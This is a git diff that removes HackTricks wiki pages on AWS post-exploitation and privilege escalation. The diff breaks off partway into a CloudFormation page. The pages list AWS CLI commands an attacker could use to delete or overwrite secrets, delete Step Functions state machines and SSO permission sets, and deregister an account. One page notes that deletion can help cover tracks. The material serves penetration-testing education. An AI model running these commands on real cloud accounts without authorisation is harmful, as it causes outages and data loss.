-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Organizations
-
-For more info about AWS Organizations check:
-
-{% content-ref url="../aws-services/aws-organizations-enum.md" %}
-[aws-organizations-enum.md](../aws-services/aws-organizations-enum.md)
-{% endcontent-ref %}
-
-### Leave the Org
-
-{% code overflow="wrap" %}
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index cc0591b88..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ /dev/null
@@ -1,76 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Secrets Manager
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
-[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### Read Secrets
-
-The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
-
-### DoS Change Secret Value
-
-Changing the value of the secret you could **DoS all the system that depends on that value.**
-
-{% hint style="warning" %}
-Note that previous values are also stored, so it's easy to just go back to the previous value.
-{% endhint %}
-
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
-    --secret-id MyTestSecret \
-    --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-
-### DoS Change KMS key
-
-```bash
-aws secretsmanager update-secret \
-    --secret-id MyTestSecret \
-    --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-
-### DoS Deleting Secret
-
-The minimum number of days to delete a secret are 7
-
-```bash
-aws secretsmanager delete-secret \
-    --secret-id MyTestSecret \
-    --recovery-window-in-days 7
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
deleted file mode 100644
index 6e41ef586..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ /dev/null
@@ -1,117 +0,0 @@
-# AWS - SES Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SES
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ses-enum.md" %}
-[aws-ses-enum.md](../aws-services/aws-ses-enum.md)
-{% endcontent-ref %}
-
-### `ses:SendEmail`
-
-Send an email.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
-aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
-```
-{% endcode %}
-
-Still to test.
-
-### `ses:SendRawEmail`
-
-Send an email.
-
-```bash
-aws ses send-raw-email --raw-message file://message.json
-```
-
-Still to test.
-
-### `ses:SendTemplatedEmail`
-
-Send an email based on a template.
-
-{% code overflow="wrap" %}
-```bash
-aws ses  send-templated-email --source <value> --destination <value> --template <value>
-```
-{% endcode %}
-
-Still to test.
-
-### `ses:SendBulkTemplatedEmail`
-
-Send an email to multiple destinations
-
-```bash
-aws ses send-bulk-templated-email --source <value> --template <value>
-```
-
-Still to test.
-
-### `ses:SendBulkEmail`
-
-Send an email to multiple destinations.
-
-```
-aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
-```
-
-### `ses:SendBounce`
-
-Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
-```
-{% endcode %}
-
-Still to test.
-
-### `ses:SendCustomVerificationEmail`
-
-This will send a customized verification email. You might need permissions also to created the template email.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-custom-verification-email --email-address <value> --template-name <value>
-aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
-```
-{% endcode %}
-
-Still to test.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
deleted file mode 100644
index ccffb5ede..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - SSO & identitystore Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SSO & identitystore
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
-
-### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
-
-These permissions can be used to disrupt permissions:
-
-{% code overflow="wrap" %}
-```bash
-aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
-
-aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --permissions-boundary-policy-arn <PolicyARN>
-
-aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index 67719fd73..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Step Functions
-
-For more information about this AWS service, check:
-
-{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
-[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
-{% endcontent-ref %}
-
-### `states:RevealSecrets`
-
-This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
-
-<figure><img src="../../../.gitbook/assets/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
-
-{% hint style="info" %}
-* Deleting a state machine you also delete all its associated versions and aliases.
-* Deleting a state machine alias you do not delete the state machine versions referecing this alias.
-* It is not possible to delete a state machine version currently referenced by one o more aliases.
-{% endhint %}
-
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-
-* **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
-
-### `states:UpdateMapRun`
-
-An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
-
-{% code overflow="wrap" %}
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-{% endcode %}
-
-* **Potential Impact**: Performance degradation, and disruption of critical workflows.
-
-### `states:StopExecution`
-
-An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
-
-{% hint style="warning" %}
-This action is not supported by **express state machines**.
-{% endhint %}
-
-{% code overflow="wrap" %}
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-{% endcode %}
-
-* **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
-
-### `states:TagResource`, `states:UntagResource`
-
-An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index 4ca191307..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# AWS - VPN Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## VPN
-
-For more information:
-
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
deleted file mode 100644
index 5d96ec8ca..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - Privilege Escalation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## AWS Privilege Escalation
-
-The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization.
-
-{% hint style="warning" %}
-AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
-{% endhint %}
-
-{% hint style="danger" %}
-If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\
-So remember that this is another way to **grant privileged permissions** to a principal.
-{% endhint %}
-
-**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.**
-
-## Tools
-
-* [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws\_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py)
-* [Pacu](https://github.com/RhinoSecurityLabs/pacu)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index 7294ee888..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Chime Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### chime:CreateApiKey
-
-TODO
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
deleted file mode 100644
index 8147ce381..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ /dev/null
@@ -1,109 +0,0 @@
-# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
-
-{% hint style="success" %}
